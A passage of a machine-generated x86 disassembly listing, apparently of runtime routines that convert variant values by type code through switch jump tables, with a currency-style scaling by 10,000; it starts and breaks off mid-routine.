		add	esp, 0FFFFFFE8h
		mov	ebx, eax
		lea	eax, [esp+1Ch+var_14]
		push	eax
		call	sub_4000CDD8
		push	6
		push	0
		push	400h
		push	ebx
		lea	eax, [esp+2Ch+var_14]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 6
		call	sub_4000E034
		mov	eax, [esp+1Ch+var_C]
		mov	dword ptr [esp+1Ch+var_1C], eax
		mov	eax, [esp+1Ch+var_8]
		mov	dword ptr [esp+1Ch+var_1C+4], eax
		fild	[esp+1Ch+var_1C]
		add	esp, 18h
		pop	ebx
		retn
sub_40010F28	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40010F74	proc near		; CODE XREF: sub_40011024+1F1p

var_18		= byte ptr -18h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40010FC9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_18]
		call	sub_4000E700
		lea	eax, [ebp+var_18]
		call	ds:off_4001F29C
		lea	eax, [ebp+var_18]
		call	sub_40011024
		fistp	[ebp+var_8]
		wait
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40010FD0


loc_40010FC0:				; CODE XREF: sub_40010F74+5Aj
		lea	eax, [ebp+var_18]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40010FC9:				; DATA XREF: sub_40010F74+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40010FC0
; ---------------------------------------------------------------------------


loc_40010FD0:				; CODE XREF: sub_40010F74+54j
					; DATA XREF: sub_40010F74+47o
		fild	[ebp+var_8]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40010F74	endp


; =============== S U B	R O U T	I N E =======================================



sub_40010FD8	proc near		; CODE XREF: sub_40011024+3A8p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, edx
		mov	esi, eax
		mov	edx, esp
		movzx	eax, word ptr [esi]
		call	sub_40012D98
		mov	ebx, eax
		test	bl, bl
		jz	short loc_4001101A
		lea	eax, [esp+20h+var_1C]
		push	eax
		call	sub_4000CDD8
		push	6
		mov	ecx, esi
		lea	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		mov	eax, [esp+20h+var_14]
		mov	[edi], eax
		mov	eax, [esp+20h+var_10]
		mov	[edi+4], eax


loc_4001101A:				; CODE XREF: sub_40010FD8+18j
		mov	eax, ebx
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40010FD8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40011024	proc near		; CODE XREF: sub_4000E9CC+130p
					; sub_40010F74+36p ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFECh
		mov	ebx, eax
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_400111F3	; default
					; jumptable 40011039 cases 10,14,15
		jmp	ds:off_40011040[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40011040	dd offset loc_40011094	; DATA XREF: sub_40011024+15r
		dd offset loc_400110A2	; jump table for switch	statement
		dd offset loc_400110C6
		dd offset loc_400110D8
		dd offset loc_400110EA
		dd offset loc_400110EA
		dd offset loc_400110FA
		dd offset loc_4001110C
		dd offset loc_4001111C
		dd offset loc_400111E3
		dd offset loc_400111F3
		dd offset loc_4001112C
		dd offset loc_400111D2
		dd offset loc_400111E3
		dd offset loc_400111F3
		dd offset loc_400111F3
		dd offset loc_40011147
		dd offset loc_40011162
		dd offset loc_4001117D
		dd offset loc_40011198
		dd offset loc_400111B8
; ---------------------------------------------------------------------------


loc_40011094:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		xor	eax, eax	; jumptable 40011039 case 0
		mov	dword ptr [esp+18h+var_18], eax
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400110A2:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		cmp	byte_4001AA10, 0 ; jumptable 40011039 case 1
		jz	short loc_400110B8
		mov	dx, 6
		mov	ax, 1
		call	sub_4000DBF4


loc_400110B8:				; CODE XREF: sub_40011024+85j
		xor	eax, eax
		mov	dword ptr [esp+18h+var_18], eax
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400110C6:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		fild	word ptr [ebx+8] ; jumptable 40011039 case 2
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400110D8:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		fild	dword ptr [ebx+8] ; jumptable 40011039 case 3
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400110EA:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, ebx	; jumptable 40011039 cases 4,5
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400110FA:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, [ebx+8]	; jumptable 40011039 case 6
		mov	dword ptr [esp+18h+var_18], eax
		mov	eax, [ebx+0Ch]
		mov	dword ptr [esp+18h+var_18+4], eax
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_4001110C:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, ebx	; jumptable 40011039 case 7
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_4001111C:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, ebx	; jumptable 40011039 case 8
		call	sub_40010E0C
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_4001112C:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		movsx	eax, word ptr [ebx+8] ;	jumptable 40011039 case	11
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011147:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		movsx	eax, byte ptr [ebx+8] ;	jumptable 40011039 case	16
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011162:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		movzx	eax, byte ptr [ebx+8] ;	jumptable 40011039 case	17
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_4001117D:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		movzx	eax, word ptr [ebx+8] ;	jumptable 40011039 case	18
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011198:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, [ebx+8]	; jumptable 40011039 case 19
		mov	dword ptr [esp+18h+var_C], eax
		xor	eax, eax
		mov	dword ptr [esp+18h+var_C+4], eax
		fild	[esp+18h+var_C]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400111B8:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		fild	qword ptr [ebx+8] ; jumptable 40011039 case 20
		add	esp, 0FFFFFFF8h
		fstp	[esp+20h+var_20]
		wait
		mov	eax, ebx
		call	sub_40010EC8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400111D2:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, [ebx+8]	; jumptable 40011039 case 12
		call	sub_40011024
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400111E3:				; CODE XREF: sub_40011024+15j
					; DATA XREF: sub_40011024:off_40011040o
		mov	eax, ebx	; jumptable 40011039 cases 9,13
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400111F3:				; CODE XREF: sub_40011024+Fj
					; sub_40011024+15j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 40011039 cases 10,14,15
		sub	dx, 100h
		jz	short loc_40011203
		dec	dx
		jz	short loc_40011213
		jmp	short loc_40011223
; ---------------------------------------------------------------------------


loc_40011203:				; CODE XREF: sub_40011024+1D6j
		mov	eax, ebx
		call	sub_40010E0C
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011213:				; CODE XREF: sub_40011024+1DBj
		mov	eax, ebx
		call	sub_40010F74
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011223:				; CODE XREF: sub_40011024+1DDj
		test	ah, 40h
		jz	loc_400113C8
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_400113BB	; default
					; jumptable 4001123D cases 0,1,9,10,13-15
		jmp	ds:off_40011244[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40011244	dd offset loc_400113BB	; DATA XREF: sub_40011024+219r
		dd offset loc_400113BB	; jump table for switch	statement
		dd offset loc_40011298
		dd offset loc_400112AC
		dd offset loc_400112C0
		dd offset loc_400112C0
		dd offset loc_400112D0
		dd offset loc_400112E4
		dd offset loc_400112F4
		dd offset loc_400113BB
		dd offset loc_400113BB
		dd offset loc_40011304
		dd offset loc_400113AD
		dd offset loc_400113BB
		dd offset loc_400113BB
		dd offset loc_400113BB
		dd offset loc_40011321
		dd offset loc_4001133E
		dd offset loc_4001135B
		dd offset loc_40011375
		dd offset loc_40011394
; ---------------------------------------------------------------------------


loc_40011298:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 2
		fild	word ptr [eax]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400112AC:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 3
		fild	dword ptr [eax]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400112C0:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, ebx	; jumptable 4001123D cases 4,5
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400112D0:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 6
		mov	edx, [eax]
		mov	dword ptr [esp+18h+var_18], edx
		mov	edx, [eax+4]
		mov	dword ptr [esp+18h+var_18+4], edx
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400112E4:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, ebx	; jumptable 4001123D case 7
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_400112F4:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, ebx	; jumptable 4001123D case 8
		call	sub_40010E0C
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011304:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 11
		movsx	eax, word ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_40011321:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 16
		movsx	eax, byte ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_4001133E:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 17
		movzx	eax, byte ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	loc_400113E0
; ---------------------------------------------------------------------------


loc_4001135B:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 18
		movzx	eax, word ptr [eax]
		mov	[esp+18h+var_10], eax
		fild	[esp+18h+var_10]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	short loc_400113E0
; ---------------------------------------------------------------------------


loc_40011375:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 19
		mov	eax, [eax]
		mov	dword ptr [esp+18h+var_C], eax
		xor	eax, eax
		mov	dword ptr [esp+18h+var_C+4], eax
		fild	[esp+18h+var_C]
		fmul	ds:flt_400113E8
		fistp	[esp+18h+var_18]
		wait
		jmp	short loc_400113E0
; ---------------------------------------------------------------------------


loc_40011394:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 20
		fild	qword ptr [eax]
		add	esp, 0FFFFFFF8h
		fstp	[esp+20h+var_20]
		wait
		mov	eax, ebx
		call	sub_40010EC8
		fistp	[esp+18h+var_18]
		wait
		jmp	short loc_400113E0
; ---------------------------------------------------------------------------


loc_400113AD:				; CODE XREF: sub_40011024+219j
					; DATA XREF: sub_40011024:off_40011244o
		mov	eax, [ebx+8]	; jumptable 4001123D case 12
		call	sub_40011024
		fistp	[esp+18h+var_18]
		wait
		jmp	short loc_400113E0
; ---------------------------------------------------------------------------


loc_400113BB:				; CODE XREF: sub_40011024+213j
					; sub_40011024+219j
					; DATA XREF: ...
		mov	eax, ebx	; default
					; jumptable 4001123D cases 0,1,9,10,13-15
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait
		jmp	short loc_400113E0
; ---------------------------------------------------------------------------


loc_400113C8:				; CODE XREF: sub_40011024+202j
		mov	edx, esp
		mov	eax, ebx
		call	sub_40010FD8
		test	al, al
		jnz	short loc_400113E0
		mov	eax, ebx
		call	sub_40010F28
		fistp	[esp+18h+var_18]
		wait


loc_400113E0:				; CODE XREF: sub_40011024+79j
					; sub_40011024+9Dj ...
		fild	[esp+18h+var_18]
		add	esp, 14h
		pop	ebx
		retn
sub_40011024	endp

; ---------------------------------------------------------------------------
flt_400113E8	dd 1.0e4		; DATA XREF: sub_40011024+A5r
					; sub_40011024+B7r ...

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400113EC	proc near		; CODE XREF: sub_400116DC+142p
					; sub_400116DC+3A0p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40005008
		push	eax
		push	0
		push	400h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, off_4001AF04
		mov	eax, [eax]
		call	eax
		mov	cx, 8
		mov	dx, 6
		call	sub_4000E034
		pop	ebx
		pop	ebp
		retn	8
sub_400113EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011424	proc near		; CODE XREF: sub_400116DC+15Fp
					; sub_400116DC+3BFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40005008
		push	eax
		push	0
		push	400h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, off_4001AFC8
		mov	eax, [eax]
		call	eax
		mov	cx, 8
		mov	dx, 7
		call	sub_4000E034
		pop	ebx
		pop	ebp
		retn	8
sub_40011424	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001145C	proc near		; CODE XREF: sub_400116DC+19Fp
					; sub_400116DC+3EDp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40011514
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_40005008
		push	eax
		push	0
		push	400h
		push	esi
		mov	eax, off_4001B058
		mov	eax, [eax]
		call	eax
		mov	cx, 8
		mov	dx, 0Bh
		call	sub_4000E034
		movzx	eax, byte_4001AA18
		sub	al, 1
		jb	short loc_400114F9
		jz	short loc_400114B2
		dec	al
		jz	short loc_400114D3
		jmp	short loc_400114F4
; ---------------------------------------------------------------------------


loc_400114B2:				; CODE XREF: sub_4001145C+4Ej
		lea	eax, [ebp+var_8]
		mov	edx, [ebx]
		call	sub_40004B0C
		mov	eax, [ebp+var_8]
		lea	edx, [ebp+var_4]
		call	sub_40007A58
		mov	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_40005158
		jmp	short loc_400114F9
; ---------------------------------------------------------------------------


loc_400114D3:				; CODE XREF: sub_4001145C+52j
		lea	eax, [ebp+var_10]
		mov	edx, [ebx]
		call	sub_40004B0C
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_C]
		call	sub_400079BC
		mov	edx, [ebp+var_C]
		mov	eax, ebx
		call	sub_40005158
		jmp	short loc_400114F9
; ---------------------------------------------------------------------------


loc_400114F4:				; CODE XREF: sub_4001145C+54j
		call	sub_4000DC90


loc_400114F9:				; CODE XREF: sub_4001145C+4Cj
					; sub_4001145C+75j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4001151B


loc_40011506:				; CODE XREF: sub_4001145C+BDj
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40011514:				; DATA XREF: sub_4001145C+12o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40011506
; ---------------------------------------------------------------------------


loc_4001151B:				; CODE XREF: sub_4001145C+B7j
					; DATA XREF: sub_4001145C+A5o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4001145C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011524	proc near		; CODE XREF: sub_400116DC+255p
					; sub_400116DC+4A4p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_18], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_400115E3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_400115C1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	8
		push	0
		push	400h
		push	ebx
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, off_4001B064
		mov	eax, [eax]
		call	eax
		movzx	edx, word ptr [ebx]
		mov	cx, 100h
		call	sub_4000E034
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		mov	edx, [ebp+var_8]
		call	sub_4000511C
		mov	eax, [ebp+var_18]
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		call	sub_40005174
		mov	edx, [ebp+var_14]
		mov	eax, esi
		call	sub_40004B0C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400115C8


loc_400115B8:				; CODE XREF: sub_40011524+A2j
		lea	eax, [ebp+var_10]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_400115C1:				; DATA XREF: sub_40011524+2Eo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400115B8
; ---------------------------------------------------------------------------


loc_400115C8:				; CODE XREF: sub_40011524+9Cj
					; DATA XREF: sub_40011524+8Fo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400115EA


loc_400115D5:				; CODE XREF: sub_40011524+C4j
		lea	eax, [ebp+var_18]
		mov	edx, 2
		call	sub_40005020
		retn
; ---------------------------------------------------------------------------


loc_400115E3:				; DATA XREF: sub_40011524+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400115D5
; ---------------------------------------------------------------------------


loc_400115EA:				; CODE XREF: sub_40011524+BEj
					; DATA XREF: sub_40011524+ACo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40011524	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400115F0	proc near		; CODE XREF: sub_400116DC+28Dp

var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_40011646
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		lea	eax, [ebp+var_10]
		call	sub_4000E700
		lea	eax, [ebp+var_10]
		call	ds:off_4001F29C
		lea	edx, [ebp+var_10]
		mov	eax, esi
		call	sub_400116DC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4001164D


loc_4001163D:				; CODE XREF: sub_400115F0+5Bj
		lea	eax, [ebp+var_10]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_40011646:				; DATA XREF: sub_400115F0+18o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001163D
; ---------------------------------------------------------------------------


loc_4001164D:				; CODE XREF: sub_400115F0+55j
					; DATA XREF: sub_400115F0+48o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400115F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40011654	proc near		; CODE XREF: sub_400116DC+4C0p

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_4001166B
		xor	edx, edx
		mov	[eax], edx


loc_4001166B:				; CODE XREF: sub_40011654+11j
		lea	edx, [ebp+var_C]
		movzx	eax, word ptr [ebx]
		call	sub_40012D98
		mov	[ebp+var_5], al
		cmp	[ebp+var_5], 0
		jz	short loc_400116D0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_400116C9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	100h
		mov	ecx, ebx
		lea	edx, [ebp+var_1C]
		mov	eax, [ebp+var_C]
		mov	ebx, [eax]
		call	dword ptr [ebx+1Ch]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_14]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400116D0


loc_400116C0:				; CODE XREF: sub_40011654+7Aj
		lea	eax, [ebp+var_1C]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_400116C9:				; DATA XREF: sub_40011654+37o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400116C0
; ---------------------------------------------------------------------------


loc_400116D0:				; CODE XREF: sub_40011654+29j
					; sub_40011654+74j
					; DATA XREF: ...
		movzx	eax, [ebp+var_5]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40011654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400116DC	proc near		; CODE XREF: sub_4000E7FC+19p
					; sub_400115F0+3Bp ...

var_94		= tbyte	ptr -94h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 0Eh


loc_400116E4:				; CODE XREF: sub_400116DC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_400116E4
		push	ecx
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40011C08
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		movzx	eax, word ptr [ebx]
		movzx	edx, ax
		cmp	edx, 14h	; switch 21 cases
		ja	loc_40011945	; default
					; jumptable 4001170F cases 10,14,15
		jmp	ds:off_40011716[edx*4] ; switch	jump
; ---------------------------------------------------------------------------
off_40011716	dd offset loc_4001176A	; DATA XREF: sub_400116DC+33r
		dd offset loc_40011776	; jump table for switch	statement
		dd offset loc_4001179E
		dd offset loc_400117B9
		dd offset loc_400117D3
		dd offset loc_400117F4
		dd offset loc_40011815
		dd offset loc_40011832
		dd offset loc_4001184F
		dd offset loc_4001192C
		dd offset loc_40011945
		dd offset loc_40011874
		dd offset loc_4001191B
		dd offset loc_4001192C
		dd offset loc_40011945
		dd offset loc_40011945
		dd offset loc_4001188F
		dd offset loc_400118AA
		dd offset loc_400118C5
		dd offset loc_400118E0
		dd offset loc_400118FE
; ---------------------------------------------------------------------------


loc_4001176A:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		mov	eax, esi	; jumptable 4001170F case 0
		call	sub_40004884
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_40011776:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
		cmp	byte_4001AA10, 0 ; jumptable 4001170F case 1
		jz	short loc_4001178C
		mov	dx, 100h
		mov	ax, 1
		call	sub_4000DBF4


loc_4001178C:				; CODE XREF: sub_400116DC+A1j
		mov	eax, esi
		mov	edx, dword_4001AA14
		call	sub_400048D8
		jmp	loc_40011BB9
; ---------------------------------------------------------------------------


loc_4001179E:				; CODE XREF: sub_400116DC+33j
					; DATA XREF: sub_400116DC:off_40011716o
